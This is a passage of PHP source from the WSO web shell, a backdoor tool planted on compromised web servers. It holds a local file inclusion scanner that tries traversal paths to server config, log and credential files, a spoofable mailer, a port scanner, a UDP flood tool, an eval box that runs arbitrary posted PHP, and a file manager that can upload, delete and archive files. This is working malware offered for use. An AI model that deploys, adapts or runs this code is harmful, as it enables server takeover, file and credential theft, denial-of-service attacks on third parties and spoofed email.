593 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
594 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
595 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
596
597 $lfiphpini = array(
598 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
599 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
600 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
601 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
602 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
603 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
604 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
605 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
606 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
607 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
608 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
609 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
610 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
611 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
612 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
613 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
614 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
615 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
616 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
617 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
618 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
619 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
620 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
621 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
622 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
623 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
624 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
625
626 $lfimysql = array(
627 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
628 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
629 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
630 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
631 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
632 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
633 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
634 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
635 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
636 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
637
638 $lfiftp = array(
639 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
640 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
641 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
642 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
643 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
644 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
645 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
646 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
647 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
648 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
649 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
650 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
651 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
652 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
653 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
654 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
655 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
656 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
657 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
658 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
659 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
660 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
661 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
662 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
663 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
664 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
665 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
666 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
667 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
668 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
669 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
670 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
671 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
672 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
673 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
674 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
675 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
676 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
677 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
678 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
679 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
680 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
681 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
682 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
683
684
685 $x = 1;
686 if ( $type == 1 ) {
687 $res1 = FetchURL($target.$lfitest);
688 $res2 = FetchURL($target.$lfitest2);
689 $rhash1 = md5($res1);
690 $rhash2 = md5($res2);
691 if ($rhash1 != $rhash2) {
692 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
693 while($lfiaccess[$x]) {
694 $res3 = FetchURL($target.$lfiaccess[$x]);
695 $rhash3 = md5($res3);
696 if ($rhash3 != $rhash2) {
697 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
698 }
699 else {
700 print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
701 }
702 $x++;
703 }
704 }
705 }
706 if ( $type == 2 ) {
707 $res1 = FetchURL($target.$lfitest);
708 $res2 = FetchURL($target.$lfitest2);
709 $rhash1 = md5($res1);
710 $rhash2 = md5($res2);
711 if ($rhash1 != $rhash2) {
712 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
713 while($lficonfig[$x]) {
714 $res3 = FetchURL($target.$lficonfig[$x]);
715 $rhash3 = md5($res3);
716 if ($rhash3 != $rhash2) {
717 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
718 }
719 else {
720 print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
721 }
722 $x++;
723 }
724 }
725 }
726 if ( $type == 3 ) {
727 $res1 = FetchURL($target.$lfitest);
728 $res2 = FetchURL($target.$lfitest2);
729 $rhash1 = md5($res1);
730 $rhash2 = md5($res2);
731 if ($rhash1 != $rhash2) {
732 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
733 while($lfierror[$x]) {
734 $res3 = FetchURL($target.$lfierror[$x]);
735 $rhash3 = md5($res3);
736 if ($rhash3 != $rhash2) {
737 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
738 }
739 else {
740 print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
741 }
742 $x++;
743 }
744 }
745 }
746 if ( $type == 4 ) {
747 $res1 = FetchURL($target.$lfitest);
748 $res2 = FetchURL($target.$lfitest2);
749 $rhash1 = md5($res1);
750 $rhash2 = md5($res2);
751 if ($rhash1 != $rhash2) {
752 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
753 while($lfiphpini[$x]) {
754 $res3 = FetchURL($target.$lfiphpini[$x]);
755 $rhash3 = md5($res3);
756 if ($rhash3 != $rhash2) {
757 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
758 }
759 else {
760 print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
761 }
762 $x++;
763 }
764 }
765 }
766 if ( $type == 5 ) {
767 $res1 = FetchURL($target.$lfitest);
768 $res2 = FetchURL($target.$lfitest2);
769 $rhash1 = md5($res1);
770 $rhash2 = md5($res2);
771 if ($rhash1 != $rhash2) {
772 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
773 while($lfimysql[$x]) {
774 $res3 = FetchURL($target.$lfimysql[$x]);
775 $rhash3 = md5($res3);
776 if ($rhash3 != $rhash2) {
777 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
778 }
779 else {
780 print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
781 }
782 $x++;
783 }
784 }
785 }
786 if ( $type == 6 ) {
787 $res1 = FetchURL($target.$lfitest);
788 $res2 = FetchURL($target.$lfitest2);
789 $rhash1 = md5($res1);
790 $rhash2 = md5($res2);
791 if ($rhash1 != $rhash2) {
792 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
793 while($lfiftp[$x]) {
794 $res3 = FetchURL($target.$lfiftp[$x]);
795 $rhash3 = md5($res3);
796 if ($rhash3 != $rhash2) {
797 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
798 }
799 else {
800 print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
801 }
802 $x++;
803 }
804 }
805 }
806if ( $type == 7 ) {
807 $res1 = FetchURL($target.$lfitest);
808 $res2 = FetchURL($target.$lfitest2);
809 $rhash1 = md5($res1);
810 $rhash2 = md5($res2);
811 if ($rhash1 != $rhash2) {
812 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
813 $res3 = FetchURL($target.$lfiprocenv);
814 $rhash3 = md5($res3);
815 if ($rhash3 != $rhash2) {
816 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
817 }
818 else {
819 print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
820 }
821 }
822 }
823 }
824 }
825wsoFooter();
826}
827function actionphptools() {
828wsoHeader();
829?><center><?php
830//mailer
831echo '<b>Mailer</b><br>
832<form action="'.$surl.'" method=POST>
833<input type="hidden" name="a" value="phptools">
834<input type=text name=to value=to><br>
835<input type=text name=from value=from><br>
836<input type=text name=subject value=subject><br>
837<input type=text name=body value=body><br>
838<input type=submit name=submit value=Submit></form>';
839if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {
840 $headers = 'From: '.$_POST['from'];
841 mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
842 echo 'Email sent.';
843}
844
845//port scanner
846echo '<br><b>Port Scanner</b><br>';
847$start = strip_tags($_POST['start']);
848$end = strip_tags($_POST['end']);
849$host = strip_tags($_POST['host']);
850
851if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
852for($i = $start; $i<=$end; $i++){
853 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
854 if($fp){
855 echo 'Port '.$i.' is <font color=green>open</font><br>';
856 }
857 flush();
858 }
859}else{
860?>
861<form action="?" method="POST">
862<input type="hidden" name="a" value="phptools">
863Host:<br />
864<input type="text" name="host" value="localhost"/><br />
865Port start:<br />
866<input type="text" name="start" value="0"/><br />
867Port end:<br />
868<input type="text" name="end" value="5000"/><br />
869<input type="submit" value="Scan Ports" />
870</form>
871<?php
872}
873
874//UDP
875if(isset($_POST['host'])&&is_numeric($_POST['time'])){
876 $pakits = 0;
877 ignore_user_abort(TRUE);
878 set_time_limit(0);
879
880 $exec_time = $_POST['time'];
881
882 $time = time();
883 //print "Started: ".time('h:i:s')."<br>";
884 $max_time = $time+$exec_time;
885
886 $host = $_POST['host'];
887
888 for($i=0;$i<65000;$i++){
889 $out .= 'X';
890 }
891 while(1){
892 $pakits++;
893 if(time() > $max_time){
894 break;
895 }
896 $rand = rand(1,65000);
897 $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
898 if($fp){
899 fwrite($fp, $out);
900 fclose($fp);
901 }
902 }
903 echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
904 echo '<br><br>
905 <form action="'.$surl.'" method=POST>
906 <input type="hidden" name="a" value="phptools">
907 Host: <input type=text name=host value=localhost>
908 Length (seconds): <input type=text name=time value=9999>
909 <input type=submit value=Go></form>';
910}else{ echo '<br><b>UDP Flood</b><br>
911 <form action=? method=POST>
912 <input type="hidden" name="a" value="phptools">
913 Host: <br><input type=text name=host value=localhost><br>
914 Length (seconds): <br><input type=text name=time value=9999><br>
915 <input type=submit value=Go></form>';
916}
917?></center><?php
918wsoFooter();}
919function actionPhp() {
920 if(isset($_POST['ajax'])) {
921 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
922 ob_start();
923 eval($_POST['p1']);
924 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
925 echo strlen($temp), "\n", $temp;
926 exit;
927 }
928 wsoHeader();
929 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
930 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
931 ob_start();
932 phpinfo();
933 $tmp = ob_get_clean();
934 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
935 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
936 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
937 }
938 if(empty($_POST['ajax']) && !empty($_POST['p1']))
939 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
940 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
941 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
942 if(!empty($_POST['p1'])) {
943 ob_start();
944 eval($_POST['p1']);
945 echo htmlspecialchars(ob_get_clean());
946 }
947 echo '</pre></div>';
948 wsoFooter();
949}
950
951function actionFilesMan() {
952 wsoHeader();
953 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
954 if(!empty($_POST['p1'])) {
955 switch($_POST['p1']) {
956 case 'uploadFile':
957 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
958 echo "Can't upload file!";
959 break;
960 case 'mkdir':
961 if(!@mkdir($_POST['p2']))
962 echo "Can't create new dir";
963 break;
964 case 'delete':
965 function deleteDir($path) {
966 $path = (substr($path,-1)=='/') ? $path:$path.'/';
967 $dh = opendir($path);
968 while ( ($item = readdir($dh) ) !== false) {
969 $item = $path.$item;
970 if ( (basename($item) == "..") || (basename($item) == ".") )
971 continue;
972 $type = filetype($item);
973 if ($type == "dir")
974 deleteDir($item);
975 else
976 @unlink($item);
977 }
978 closedir($dh);
979 @rmdir($path);
980 }
981 if(is_array(@$_POST['f']))
982 foreach($_POST['f'] as $f) {
983 if($f == '..')
984 continue;
985 $f = urldecode($f);
986 if(is_dir($f))
987 deleteDir($f);
988 else
989 @unlink($f);
990 }
991 break;
992 case 'paste':
993 if($_SESSION['act'] == 'copy') {
994 function copy_paste($c,$s,$d){
995 if(is_dir($c.$s)){
996 mkdir($d.$s);
997 $h = @opendir($c.$s);
998 while (($f = @readdir($h)) !== false)
999 if (($f != ".") and ($f != ".."))
1000 copy_paste($c.$s.'/',$f, $d.$s.'/');
1001 } elseif(is_file($c.$s))
1002 @copy($c.$s, $d.$s);
1003 }
1004 foreach($_SESSION['f'] as $f)
1005 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
1006 } elseif($_SESSION['act'] == 'move') {
1007 function move_paste($c,$s,$d){
1008 if(is_dir($c.$s)){
1009 mkdir($d.$s);
1010 $h = @opendir($c.$s);
1011 while (($f = @readdir($h)) !== false)
1012 if (($f != ".") and ($f != ".."))
1013 copy_paste($c.$s.'/',$f, $d.$s.'/');
1014 } elseif(@is_file($c.$s))
1015 @copy($c.$s, $d.$s);
1016 }
1017 foreach($_SESSION['f'] as $f)
1018 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
1019 } elseif($_SESSION['act'] == 'zip') {
1020 if(class_exists('ZipArchive')) {
1021 $zip = new ZipArchive();
1022 if ($zip->open($_POST['p2'], 1)) {
1023 chdir($_SESSION['c']);
1024 foreach($_SESSION['f'] as $f) {
1025 if($f == '..')
1026 continue;
1027 if(@is_file($_SESSION['c'].$f))
1028 $zip->addFile($_SESSION['c'].$f, $f);
1029 elseif(@is_dir($_SESSION['c'].$f)) {
1030 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
1031 foreach ($iterator as $key=>$value) {
1032 $zip->addFile(realpath($key), $key);
1033 }
1034 }
1035 }
1036 chdir($GLOBALS['cwd']);
1037 $zip->close();
1038 }
1039 }
1040 } elseif($_SESSION['act'] == 'unzip') {
1041 if(class_exists('ZipArchive')) {
1042 $zip = new ZipArchive();
1043 foreach($_SESSION['f'] as $f) {
1044 if($zip->open($_SESSION['c'].$f)) {
1045 $zip->extractTo($GLOBALS['cwd']);
1046 $zip->close();
1047 }
1048 }
1049 }
1050 } elseif($_SESSION['act'] == 'tar') {
1051 chdir($_SESSION['c']);
1052 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
1053 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
1054 chdir($GLOBALS['cwd']);
1055 }
1056 unset($_SESSION['f']);
1057 break;
1058 default:
1059 if(!empty($_POST['p1'])) {
1060 $_SESSION['act'] = @$_POST['p1'];
1061 $_SESSION['f'] = @$_POST['f'];
1062 foreach($_SESSION['f'] as $k => $f)
1063 $_SESSION['f'][$k] = urldecode($f);
1064 $_SESSION['c'] = @$_POST['c'];
1065 }
1066 break;
1067 }
1068 }
1069 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1070 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
1071 global $sort;
1072 $sort = array('name', 1);
1073 if(!empty($_POST['p1'])) {
1074 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1075 $sort = array($match[1], (int)$match[2]);
1076 }
1077echo "<script>
1078 function sa() {
1079 for(i=0;i<d.files.elements.length;i++)
1080 if(d.files.elements[i].type == 'checkbox')
1081 d.files.elements[i].checked = d.files.elements[0].checked;
1082 }
1083
1084</script>
1085<table width='100%' class='main' cellspacing='0' cellpadding='2'>
1086<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1087 $dirs = $files = array();
1088 $n = count($dirContent);
1089 for($i=0;$i<$n;$i++) {
1090 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1091 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1092 $tmp = array('name' => $dirContent[$i],
1093 'path' => $GLOBALS['cwd'].$dirContent[$i],
1094 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
1095 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
1096 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1097 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1098 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1099 );
1100 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
1101 $files[] = array_merge($tmp, array('type' => 'file'));
1102 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
1103 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
1104 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
1105 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1106 }
1107 $GLOBALS['sort'] = $sort;
1108 function wsoCmp($a, $b) {
1109 if($GLOBALS['sort'][0] != 'size')
1110 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
1111 else
1112 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1113 }
1114 usort($files, "wsoCmp");
1115 usort($dirs, "wsoCmp");
1116 $files = array_merge($dirs, $files);
1117 $l = 0;
1118 foreach($files as $f) {
1119 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1120 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1121 $l = $l?0:1;
1122 }
1123 echo "<tr><td colspan=7>
1124
1125 <input type=hidden name=a value='FilesMan'>
1126 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
1127 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
1128 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
1129 if(class_exists('ZipArchive'))
1130 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
1131 echo "<option value='tar'>Compress (tar.gz)</option>";
1132 if(!empty($_SESSION['act']) && @count($_SESSION['f']))
1133 echo "<option value='paste'>Paste / Compress</option>";
1134 echo "</select> ";
1135 if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
1136 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
1137 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
1138 wsoFooter();
1139}
1140
1141function actionStringTools() {
1142 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1143 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
1144 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1145 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
1146 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1147 $stringTools = array(
1148 'Base64 encode' => 'base64_encode',
1149 'Base64 decode' => 'base64_decode',
1150 'Url encode' => 'urlencode',
1151 'Url decode' => 'urldecode',
1152 'Full urlencode' => 'full_urlencode',
1153 'md5 hash' => 'md5',
1154 'sha1 hash' => 'sha1',
1155 'crypt' => 'crypt',
1156 'CRC32' => 'crc32',
1157 'ASCII to HEX' => 'ascii2hex',
1158 'HEX to ASCII' => 'hex2ascii',
1159 'HEX to DEC' => 'hexdec',
1160 'HEX to BIN' => 'hex2bin',
1161 'DEC to HEX' => 'dechex',
1162 'DEC to BIN' => 'decbin',
1163 'BIN to HEX' => 'binhex',
1164 'BIN to DEC' => 'bindec',
1165 'String to lower case' => 'strtolower',
1166 'String to upper case' => 'strtoupper',
1167 'Htmlspecialchars' => 'htmlspecialchars',
1168 'String length' => 'strlen',
1169 );
1170 if(isset($_POST['ajax'])) {
1171 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1172 ob_start();
1173 if(in_array($_POST['p1'], $stringTools))
1174 echo $_POST['p1']($_POST['p2']);
1175 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1176 echo strlen($temp), "\n", $temp;
1177 exit;
1178 }
1179 wsoHeader();
1180 echo '<h1>String conversions</h1><div class=content>';
1181 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1182 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1183 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1184 foreach($stringTools as $k => $v)
1185 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1186 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1187 if(!empty($_POST['p1'])) {
1188 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
1189 }
1190 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
1191
1192 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
